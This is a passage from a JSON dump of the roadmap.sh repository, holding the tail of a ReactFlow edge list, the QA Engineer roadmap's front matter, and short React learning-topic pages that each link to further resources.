{\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-JO--NVMs3saUNjh3mcd7zz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ryoSezFNeiunCAZygCbaQ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2-ryoSezFNeiunCAZygCbaQz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-Sf7DLr8Ywoorrmsx3bfd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYiy2--Sf7DLr8Ywoorrmsx3bfdz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYix2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/qa/qa.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/qa.json'\npdfUrl: '/pdfs/roadmaps/qa.pdf'\norder: 7\nbriefTitle: 'QA'\nbriefDescription: 'Step by step guide to becoming a modern QA Engineer in 2025'\ntitle: 'QA Engineer'\ndescription: 'Steps to follow in order to become a modern QA Engineer in 2025'\nisNew: false\nhasTopics: true\nrenderer: 'editor'\ndimensions:\n  width: 968\n  height: 2450\nschema:\n  headline: 'QA Engineer Roadmap'\n  description: 'Learn to become a QA Engineer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/qa.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'QA Roadmap: Learn to become a modern QA engineer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for modern QA development. Learn to become a modern QA engineer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'qa engineer 2025'\n    - 'quality assurance engineer 2025'\n    - 'qa engineer roadmap 2025'\n    - 'guide to becoming a QA engineer'\n    - 'QA engineer'\n    - 'QA skills'\n    - 'QA development skills'\n    - 'QA development skills test'\n    - 'QA engineer roadmap'\n    - 'QA engineer roadmap 2025'\n    - 'become a QA engineer'\n    - 'QA engineer career path'\n    - 'skills for QA development'\n    - 'what is QA engineer'\n    - 'QA engineer quiz'\n    - 'QA engineer interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'backend'\n  - 'devops'\n  - 'javascript'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/react/content/animation@bRpeoo9zXrnZ2IHSI7JX4.md",
    "content": "# Animation\n\nAnimation in React can be achieved using various methods, such as CSS transitions, keyframes, or libraries like `react-spring`, `framer-motion`, and `GSAP` (GreenSock Animation Platform). CSS transitions are ideal for simple animations, where you can toggle classes or manipulate inline styles to create smooth transitions. For more complex and interactive animations, libraries like `react-spring` provide a declarative approach, allowing you to create animations by defining spring physics or interpolating values. `framer-motion` offers a rich API to handle complex animations, gestures, and even layout transitions with ease. `GSAP` is another powerful library that excels at creating high-performance animations, offering fine-grained control over every aspect of the animation process. These tools integrate seamlessly with React's component-driven architecture, enabling you to create responsive and dynamic user interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@Framer Motion Docs](https://www.framer.com/motion/)\n- [@article@GSAP Docs](https://gsap.com/docs/v3/)\n- [@article@React Spring Docs](https://www.react-spring.dev/docs/getting-started)"
  },
  {
    "path": "src/data/roadmaps/react/content/api-calls@b4AP2OggxFAwsQtUwiUJJ.md",
    "content": "# API Calls\n\nAPIs, short for Application Programming Interfaces, are software-to-software interfaces. Meaning, they allow different applications to talk to each other and exchange information or functionality. This allows businesses to access another business’s data, piece of code, software, or services in order to extend the functionality of their own products — all while saving time and money. There are several options available to make API calls from your React.js applications.\n\nVisit the following resources to learn more:\n\n- [@article@AJAX and APIs](https://reactjs.org/docs/faq-ajax.html)\n- [@article@How to fetch data in React](https://www.robinwieruch.de/react-hooks-fetch-data/)"
  },
  {
    "path": "src/data/roadmaps/react/content/apollo@8nMbfGxe3STMbrAVcqHHh.md",
    "content": "# Apollo\n\nApollo is a platform for building a unified graph, a communication layer that helps you manage the flow of data between your application clients (such as web and native apps) and your back-end services.\n\nVisit the following resources to learn more:\n\n- [@article@Apollo Website](https://www.apollographql.com)\n- [@article@Official Docs](https://www.apollographql.com/docs/)\n- [@video@Official YouTube Channel](https://www.youtube.com/c/ApolloGraphQL/)\n- [@video@GraphQL With React Tutorial - Apollo Client](https://www.youtube.com/watch?v=YyUWW04HwKY)\n- [@feed@Explore top posts about Apollo](https://app.daily.dev/tags/apollo?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/ark-ui@kiCTo0U6VgNON8rv_Ktlj.md",
    "content": "# Ark UI\n\nIt is a modern and versatile user interface framework designed to streamline the development of responsive and accessible web applications. It provides a `comprehensive set` of components and tools that simplify the process of building user interfaces, allowing developers to focus on functionality and design. With a strong emphasis on flexibility and ease of use, Ark UI enables rapid prototyping and `scalable solutions`, ensuring a consistent and polished user experience across various devices and platforms. Its modular architecture and extensive documentation make it an excellent choice for developers looking to enhance productivity and maintain high standards in their UI design.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://ark-ui.com/)\n- [@official@Official Website](https://ark-ui.com/react/docs/overview/introduction)\n- [@article@What is ARK UI?](https://shaxadd.medium.com/enhance-your-user-interfaces-with-ark-ui-a-comprehensive-guide-7e87dd0a79cf)\n- [@video@Hands On ARK UI](https://www.youtube.com/watch?v=zjo-77I0unk)"
  },
  {
    "path": "src/data/roadmaps/react/content/astro@_HoZkE7FH-v3wI_722ZTF.md",
    "content": "# Astro\n\nAstro is the web framework for building content-driven websites like blogs, marketing, and e-commerce. Astro is best-known for pioneering a new frontend architecture to reduce JavaScript overhead and complexity compared to other frameworks. If you need a website that loads fast and has great SEO, then Astro is for you.\n\nVisit the following resources to learn more:\n\n- [@official@Astro Website](https://astro.build/)\n- [@video@Astro Crash Course in 60 Minutes](https://www.youtube.com/watch?v=NniT0vKyn-E)\n- [@video@How To: Add/Integrate React.js and TailwindCss into Astro framework](https://www.youtube.com/watch?v=d6CsWTVa42o)"
  },
  {
    "path": "src/data/roadmaps/react/content/axios@ElqWQClryfSYdL7P_mgYK.md",
    "content": "# Axios\n\nThe most common way for frontend programs to communicate with servers is through the HTTP protocol. You are probably familiar with the Fetch API and the XMLHttpRequest interface, which allows you to fetch resources and make HTTP requests.\n\nAxios is a client HTTP API based on the XMLHttpRequest interface provided by browsers.\n\nVisit the following resources to learn more:\n\n- [@article@Axios Getting Started](https://axios-http.com/docs/intro)\n- [@article@How to make HTTP requests with Axios](https://blog.logrocket.com/how-to-make-http-requests-like-a-pro-with-axios/#why)\n- [@feed@Explore top posts about Axios](https://app.daily.dev/tags/axios?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/chakra-ui@uqphqAnlcJOLnwHZs5jWu.md",
    "content": "# Chakra UI\n\nChakra UI is a simple, modular and accessible component library that gives you the building blocks you need to build your React applications.\n\nVisit the following resources to learn more:\n\n- [@article@Chakra UI Website](https://chakra-ui.com/)\n- [@article@Chakra UI Official Getting Started](https://chakra-ui.com/docs/getting-started)\n- [@video@Official Getting Started Video](https://youtu.be/wI2vqXsjsIo)\n- [@video@Chakra UI Crash Course](https://youtu.be/s-bIsz-NR3c)"
  },
  {
    "path": "src/data/roadmaps/react/content/cli-tools@tU4Umtnfu01t9gLlnlK6b.md",
    "content": "# CLI Tools\n\nVisit the following resources to learn more:\n\n- [@article@vite](https://vitejs.dev)\n- [@feed@Explore top posts about CLI](https://app.daily.dev/tags/cli?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/component--libraries@thfnymb_UIiKxakKfiua5.md",
    "content": "# Component / Libraries\n\nReact component libraries are collections of pre-built, reusable components that can be used to speed up the development process. They can be styled using CSS in various ways, including traditional CSS files, CSS modules, and CSS-in-JS solutions like styled-components.\n\nVisit the following resources to learn more:\n\n- [@article@MUI: React Component Library](https://mui.com/)\n- [@article@NextUI.org](https://nextui.org/)"
  },
  {
    "path": "src/data/roadmaps/react/content/component-lifecycle@8OBlgDRUg-CTgDXY-QHyO.md",
    "content": "# Component Life Cycle\n\nReact components have a lifecycle consisting of three phases: Mounting, Updating, and Unmounting along with several “lifecycle methods” that you can override to run code at particular times in the process.\n\nIt is not recommended to use lifecycle methods manually. Instead, use the useEffect hook with functional components.\n\nVisit the following resources to learn more:\n\n- [@official@Lifecycle of Reactive Effects](https://react.dev/learn/lifecycle-of-reactive-effects)\n- [@official@Class Component](https://react.dev/reference/react/Component)\n- [@article@React component lifecycle: React lifecycle methods & hooks](https://tsh.io/blog/react-component-lifecycle-methods-vs-hooks/)\n- [@article@The React lifecycle: methods and hooks explained](https://retool.com/blog/the-react-lifecycle-methods-and-hooks-explained#react-hooks-and-the-component-lifecycle)\n- [@article@React Lifecycle: Methods & Hooks In Detail](https://www.bairesdev.com/blog/react-lifecycle-methods-hooks/)\n- [@article@lifecycle diagram](https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/)"
  },
  {
    "path": "src/data/roadmaps/react/content/components@79K4xgljcoSHkCYI1D55O.md",
    "content": "# Components\n\nComponents are the building blocks of React applications. They let us split the UI into independent, reusable pieces, and think about each piece in isolation.\n\nVisit the following resources to learn more:\n\n- [@official@Creating and nesting components](https://react.dev/learn#components)\n- [@article@Explore the different types of components in React](https://www.robinwieruch.de/react-component-types/)\n- [@article@What is the difference between components, elements, and instances?](https://www.robinwieruch.de/react-element-component/)\n- [@video@Components & Templates in React](https://www.youtube.com/watch?v=9D1x7-2FmTA)"
  },
  {
    "path": "src/data/roadmaps/react/content/composition@4T59gdcwdXqj9kCuK7cfp.md",
    "content": "# Composition vs Inheritance\n\nReact has a powerful composition model, and it is recommended to use composition instead of inheritance to reuse code between components.\n\nVisit the following resources to learn more:\n\n- [@official@Passing JSX as children](https://react.dev/learn/passing-props-to-a-component#passing-jsx-as-children)\n- [@article@Composition vs Inheritance](https://reactjs.org/docs/composition-vs-inheritance.html)\n- [@article@How to perform component composition in React](https://www.robinwieruch.de/react-component-composition/)\n- [@article@Achieving Reusability With React Composition](https://formidable.com/blog/2021/react-composition/)"
  },
  {
    "path": "src/data/roadmaps/react/content/conditional-rendering@aE6XBgH23135_9QmD4ff2.md",
    "content": "# Conditional Rendering\n\nIn React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.\n\nConditional rendering in React works the same way conditions work in JavaScript. Use JavaScript operators like [if](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else) or the [conditional operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) to create elements representing the current state, and let React update the UI to match them.\n\nVisit the following resources to learn more:\n\n- [@official@Conditional Rendering](https://react.dev/learn/conditional-rendering)\n- [@article@Different techniques for conditional rendering in React](https://www.robinwieruch.de/conditional-rendering-react/)\n- [@video@Conditional rendering in React](https://www.youtube.com/watch?v=4oCVDkb_EIs)"
  },
  {
    "path": "src/data/roadmaps/react/content/context@10uL0r388lKh8pWYWqRZD.md",
    "content": "# Context\n\nContext provides a way to pass data through the component tree without having to pass props down manually at every level.\n\nIn a typical React application, data is passed top-down (parent to child) via props, but such usage can be cumbersome for certain types of props (e.g. locale preference, UI theme) that are required by many components within an application. Context provides a way to share values like these between components without having to explicitly pass a prop through every level of the tree.\n\nVisit the following resources to learn more:\n\n- [@official@Passing Data Deeply with Context](https://react.dev/learn/passing-data-deeply-with-context)\n- [@article@State with useContext and useState/useReducer](https://www.robinwieruch.de/react-state-usereducer-usestate-usecontext/)\n- [@video@React Context API Crash Course](https://www.youtube.com/watch?v=t9WmZFnE6Hg)"
  },
  {
    "path": "src/data/roadmaps/react/content/creating-custom-hooks@HX75SExuzR5AP7TQ94qid.md",
    "content": "# Writing Custom Hooks\n\nBuilding your own Hooks lets you extract component logic into reusable functions.\n\nVisit the following resources to learn more:\n\n- [@official@Reusing Logic with Custom Hooks](https://react.dev/learn/reusing-logic-with-custom-hooks)\n- [@article@How to create a custom Hook (2) followed by Examples](https://www.robinwieruch.de/react-custom-hook/)\n- [@video@Custom Hooks in React](https://www.youtube.com/watch?v=I2Bgi0Qcdvc)\n- [@feed@Explore top posts about React Hooks](https://app.daily.dev/tags/react-hooks?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/css-modules@awoEhwPKjUcR84XGL6Som.md",
    "content": "# CSS Modules\n\nCSS files in which all class names and animation names are scoped locally by default.\n\nVisit the following resources to learn more:\n\n- [@opensource@Project GitHub Repository](https://github.com/css-modules/css-modules)\n- [@article@Using CSS Modules In React App](https://medium.com/@ralph1786/using-css-modules-in-react-app-c2079eadbb87)\n- [@video@CSS Modules: Why are they great?](https://www.youtube.com/watch?v=pKMWU9OrA2s)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/cypress@zN7Ps1puD-YpHbKi1pHH8.md",
    "content": "# Cypress\n\nCypress framework is a JavaScript-based end-to-end testing framework built on top of Mocha – a feature-rich JavaScript test framework running on and in the browser, making asynchronous testing simple and convenient. It also uses a BDD/TDD assertion library and a browser to pair with any JavaScript testing framework.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://www.cypress.io/)\n- [@article@Official Documentation](https://docs.cypress.io/guides/overview/why-cypress#Other)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=7N63cMKosIE)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/error-boundaries@gMHMjsh0i8paLZUH5mDX3.md",
    "content": "# Error Boundaries\n\nIn the past, JavaScript errors inside components used to corrupt React’s internal state and cause it to emit cryptic errors on next renders. These errors were always caused by an earlier error in the application code, but React did not provide a way to handle them gracefully in components, and could not recover from them.\n\nError boundaries are React components that catch JavaScript errors anywhere in their child component tree, log those errors, and display a fallback UI instead of the component tree that crashed. Error boundaries catch errors during rendering, in lifecycle methods, and in constructors of the whole tree below them.\n\nVisit the following resources to learn more:\n\n- [@official@Error Boundaries in React](https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)"
  },
  {
    "path": "src/data/roadmaps/react/content/events@Nex2HcTOYIbfqUzXyxSMY.md",
    "content": "# Events\n\nHandling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:\n\n*   React events are named using camelCase, rather than lowercase.\n*   With JSX you pass a function as the event handler, rather than a string.\n\nVisit the following resources to learn more:\n\n- [@official@Responding to Events](https://react.dev/learn/responding-to-events)\n- [@official@React Event Object (Synthetic Event)](https://react.dev/reference/react-dom/components/common#react-event-object)\n- [@article@React Event Handler](https://www.robinwieruch.de/react-event-handler/)"
  },
  {
    "path": "src/data/roadmaps/react/content/formik@gr1CaLvL7tFOkIRywSsID.md",
    "content": "# Formik\n\nFormik is another famous opensource form library that helps with getting values in and out of form state, validation and error messages, and handling form submissions.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website — Formik](https://formik.org/)\n- [@opensource@formik/formik](https://github.com/formik/formik)\n- [@video@Formik - Building React Forms easier](https://www.youtube.com/watch?v=khGypss-RJs)\n- [@video@React Formik Tutorial with Yup (React Form Validation)](https://www.youtube.com/watch?v=7Ophfq0lEAY)"
  },
  {
    "path": "src/data/roadmaps/react/content/forms@KHcC5pFN3qLnsbPPKpYd2.md",
    "content": "# Forms\n\nAlthough you can build forms using vanilla React, it normally requires a lot of boilerplate code. This is because the form is built using a combination of state and props. To make it easier to manage forms, we use some sort of library.\n\nVisit the following resources to learn more:\n\n- [@article@How to use Forms in React](https://www.robinwieruch.de/react-form/)\n- [@video@React Forms: the SIMPLEST way](https://www.youtube.com/watch?v=CT-72lTXdPg)"
  },
  {
    "path": "src/data/roadmaps/react/content/framer-motion@H6-XGDjs4f-qbv13v5av0.md",
    "content": "# Framer Motion\n\nFramer Motion is a popular open-source motion library for React that allows developers to create sophisticated animations and interactions with ease. It is designed to be simple to use yet powerful, providing a rich set of tools to animate elements in a declarative way.\n\nIt powers the amazing animations and interactions in Framer, the web builder for creative pros. Zero code, maximum speed.\n\nVisit the following resources to learn more:\n\n- [@official@Framer Motion Website](https://www.framer.com/motion/introduction/)\n- [@video@Framer Motion Crash Course with React & TS](https://www.youtube.com/watch?v=hjbxaYTMhy0&list=PLA4qBVt61k3Phpwt7uqaptIg9NYZ5aNu_)"
  },
  {
    "path": "src/data/roadmaps/react/content/frameworks@W-atg_Msa9uPLr6RXAKSb.md",
    "content": "# SSR Frameworks\n\nServer-side rendering (SSR) is a technique for rendering a JavaScript application on the server, rather than in the browser. This can improve the performance and user experience of a web application, as the initial render of the application is done on the server and the content is sent to the browser as a fully-rendered HTML page.\n\nThere are several frameworks and libraries available for server-side rendering React applications, most common being Next.js and Remix:\n\nVisit the following resources to learn more:\n\n- [@article@Next.js](https://nextjs.org/)\n- [@article@Remix](https://remix.run/)\n- [@video@Next.js 14 Full Course 2024](https://www.youtube.com/watch?v=wm5gMKuwSYk)\n- [@video@Remix Crash Course](https://www.youtube.com/watch?v=RBYJTop1e-g)"
  },
  {
    "path": "src/data/roadmaps/react/content/functional-components@8mw4TxlLN4ZKAlLl-_NVV.md",
    "content": "# Functional Components\n\nFunctional components are some of the more common components that will come across while working in React. These are simply JavaScript functions. We can create a functional component to React by writing a JavaScript function. These functions may or may not receive data as parameters. In the functional Components, the return value is the JSX code to render to the DOM tree. Functional components can also have state which is managed using React hooks.\n\nVisit the following resources to learn more:\n\n- [@official@Functional Components and Props](https://react.dev/reference/react/Component)\n- [@official@Your first component](https://react.dev/learn/your-first-component)\n- [@official@Passing props to a component](https://react.dev/learn/passing-props-to-a-component)\n- [@article@Functional Components in React](https://www.robinwieruch.de/react-function-component/)\n- [@video@React JS Functional Components](https://www.youtube.com/watch?v=NJ_qbsLf52w)\n- [@feed@Explore top posts about React](https://app.daily.dev/tags/react?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/gsock@y2dI1DVLWKAkv6VRpgaQa.md",
    "content": "# GSock\n\n`GSAP` (GreenSock Animation Platform) is a framework-agnostic JavaScript animation library that turns developers into animation superheroes. Build high-performance animations that work in every major browser. Animate CSS, SVG, canvas, React, Vue, WebGL, colors, strings, motion paths, generic objects...anything JavaScript can touch!\n\nVisit the following resources to learn more:\n\n- [@official@GSAP: Homepage](https://gsap.com/docs/v3/)\n- [@article@The Beginner's Guide to the GreenSock Animation Platform](https://www.freecodecamp.org/news/the-beginners-guide-to-the-greensock-animation-platform-7dc9fd9eb826/)\n- [@video@Intro to Greensock Web Animation](https://www.youtube.com/watch?v=EOa7ccPWvXg)"
  },
  {
    "path": "src/data/roadmaps/react/content/headless-component-libraries@MnDgQq9Vcxsu3wDqv5uh2.md",
    "content": "# Headless Component Libraries\n\nHeadless component libraries have some powerful state, logic and data management tools that do not enforce any UI structure. Consequently, developers are able to build custom UI components with unique styles but that still benefit from strong reusable logics. This kind of library simplifies complex behaviors and accessibility issues in outdoor environments allowing you to create innovative interfaces. With headless components, developers keep code clean and maintainable as a result of the reusability aspect inherent in these, this also guarantees efficient and accessible components enhancing application quality.\n\nVisit the following resources to learn more:\n\n- [@article@What are headless components?](https://dev.to/verthon/headless-ui-libraries-the-key-to-flexible-and-accessible-user-interfaces-546p)\n- [@article@Headless Components: A Comprehensive Guide](https://blog.logrocket.com/the-complete-guide-to-building-headless-interface-components-in-react/)\n- [@video@Rise of Headless Components](https://www.youtube.com/watch?v=_WtVG_pKsxM)"
  },
  {
    "path": "src/data/roadmaps/react/content/high-order-components@zOENl96GUZRw2PP2KxIck.md",
    "content": "# High Order Components\n\nA higher-order component (HOC) is an advanced technique in React for reusing component logic. HOCs are not part of the React API, per se. They are a pattern that emerges from React’s compositional nature.\n\nConcretely, a higher-order component is a function that takes a component and returns a new component.\n\nHigher-order components are not commonly used in modern React code. In order to reuse logic, React hooks are mainly used now.\n\nVisit the following resources to learn more:\n\n- [@article@High-Order Components](https://reactjs.org/docs/higher-order-components.html)\n- [@article@How to create a Higher-Order Component](https://www.robinwieruch.de/react-higher-order-components/)\n- [@video@Learn React Higher Order Component (HOC) in 10 Minutes](https://youtu.be/J5P0q7EROfw?si=-8s5h1b0mZSGVgLt)\n- [@video@ReactJS Tutorial - Higher Order Components (Part 1)](https://www.youtube.com/watch?v=B6aNv8nkUSw)\n- [@video@ReactJS Tutorial - Higher Order Components (Part 2)](https://www.youtube.com/watch?v=rsBQj6X7UK8)\n- [@video@ReactJS Tutorial - Higher Order Components (Part 3)](https://www.youtube.com/watch?v=l8V59zIdBXU)"
  },
  {
    "path": "src/data/roadmaps/react/content/hooks-best-practices@mkyU0ug8MXxV4biHuOity.md",
    "content": "# Hooks Best Practices\n\nTo fully leverage the capabilities of React Hooks, it is crucial to adopt best practices that not only enhance code readability but also optimize performance. By adhering to these practices, developers can create cleaner, more maintainable components that make the most of React's powerful features, leading to a more efficient and enjoyable development experience.\n\nVisit the following resources to learn more:\n\n- [@official@Rules of Hooks](https://react.dev/reference/rules/rules-of-hooks/)\n- [@article@React Hooks Best Practices: Unlocking Efficiency and Elegance](https://medium.com/womenintechnology/react-hooks-best-practices-unlocking-efficiency-and-elegance-da23f7e1418a)\n- [@article@Mastering React Hooks: Best Practices and Common Pitfalls](https://dev.to/codesensei/mastering-react-hooks-best-practices-and-common-pitfalls-3d9i)\n- [@article@React Hooks Cheat Sheet: Best Practices with Examples](https://blog.logrocket.com/react-hooks-cheat-sheet-solutions-common-problems/)\n- [@article@React Custom Hooks: Best Practices and Examples](https://utopia-insights.dev/react-custom-hooks-best-practices-and-examples/)"
  },
  {
    "path": "src/data/roadmaps/react/content/hooks@LbLQhonBqzxHU6B-L--Vq.md",
    "content": "# Hooks\n\nHooks were introduced in React 16.8 and they let us use React's features-like managing your component's state and or performing an after effect when certain changes occur in state(s) without writing a class.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks Reference](https://react.dev/reference/react)\n- [@feed@Explore top posts about React Hooks](https://app.daily.dev/tags/react-hooks?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/jest@opa61u9gYgSpoPtxp58wu.md",
    "content": "# Jest\n\nJest is a delightful JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more!\n\nVisit the following resources to learn more:\n\n- [@official@Jest Website](https://jestjs.io/)\n- [@article@Testing JavaScript with Jest on Vultr](https://developer.mozilla.org/en-US/blog/test-javascript-with-jest-on-vultr/)\n- [@feed@Explore top posts about Jest](https://app.daily.dev/tags/jest?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/jotai@yI6XiNW04EL78UL4lkVgd.md",
    "content": "# Jotai\n\nJotai takes an atomic approach to global React state management.\n\nBuild state by combining atoms and renders are automatically optimized based on atom dependency. This solves the extra re-render issue of React context, eliminates the need for memoization, and provides a similar developer experience to signals while maintaining a declarative programming model.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website: Jotai](https://jotai.org/)\n- [@article@State Management on React - Jotai](https://dev.to/kevin-uehara/state-management-on-react-part-3-jotai-i7f)\n- [@video@Jotai React - Better Global State Management](https://www.youtube.com/watch?v=ZcKzPZN7Ids)"
  },
  {
    "path": "src/data/roadmaps/react/content/jsx@WREBxWSNQDD_6fzpHL6CE.md",
    "content": "# JSX\n\nJSX stands for JavaScript XML. It allows writing HTML in JavaScript and converts the HTML tags into React elements.\n\nVisit the following resources to learn more:\n\n- [@official@Writing markup with JSX](https://react.dev/learn/writing-markup-with-jsx)\n- [@official@JavaScript in JSX with Curly Braces](https://react.dev/learn/javascript-in-jsx-with-curly-braces)\n- [@article@Working with JSX - React - CodeGuage](https://www.codeguage.com/courses/react/jsx)\n- [@feed@Explore top posts about JSX](https://app.daily.dev/tags/jsx?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/react/content/lists-and-keys@HeWVCPHqVnnbOn6zIim4K.md",
    "content": "# Lists and Keys\n\nWhen you render lists in React, you can use the `key` prop to specify a unique key for each item. This key is used to identify which item to update when you want to update a specific item.\n\nVisit the following resources to learn more:\n\n- [@official@Lists and Keys](https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key)\n- [@official@Rendering Lists](https://react.dev/learn/rendering-lists)\n- [@article@List components in React by Example](https://www.robinwieruch.de/react-list-component/)\n- [@article@Why do we need the key prop in React?](https://www.robinwieruch.de/react-list-key/)"
  },
  {
    "path": "src/data/roadmaps/react/content/material-ui@gy7eBxPOlwG8BvxHVLDQ9.md",
    "content": "# Material UI\n\nMaterial UI is an open-source React component library that implements Google's Material Design.\n\nVisit the following resources to learn more:\n\n- [@official@Material UI website](https://mui.com/material-ui/getting-started/)\n- [@video@React Material UI Course](https://www.youtube.com/watch?v=BHEPVdfBAqE&list=PLC3y8-rFHvwh-K9mDlrrcDywl7CeVL2rO)\n- [@video@Material UI with React](https://www.youtube.com/watch?v=5cvg2qZwYrI)"
  },
  {
    "path": "src/data/roadmaps/react/content/mobile-applications@txARr3lgTvy-vJCj5zAb1.md",
    "content": "# Mobile\n\nVisit the following resources to learn more:\n\n- [@article@React Native Official website](https://reactnative.dev/)\n- [@video@React Native Course for Beginners](https://www.youtube.com/watch?v=ZBCUegTZF7M)"
  },
  {
    "path": "src/data/roadmaps/react/content/mobx@1kbrCI5JS0c9wbzxXpgFU.md",
    "content": "# MobX\n\nVisit the following resources to learn more:\n\n- [@official@Official Website: MobX](https://mobx.js.org/)\n- [@article@How to Improve State Management in React with MobX](https://medium.com/whitespectre/how-to-improve-state-management-in-react-with-mobx-568808ff86a4)\n- [@video@Mobx React - State Management](https://www.youtube.com/watch?v=AgcaGGkYy_8)\n- [@video@MobX Tutorial with React and Typescript](https://www.youtube.com/watch?v=ElgfQdq-Htk)"
  },
  {
    "path": "src/data/roadmaps/react/content/nextjs@HdWq9ue0JdwmwqSIN2OD_.md",
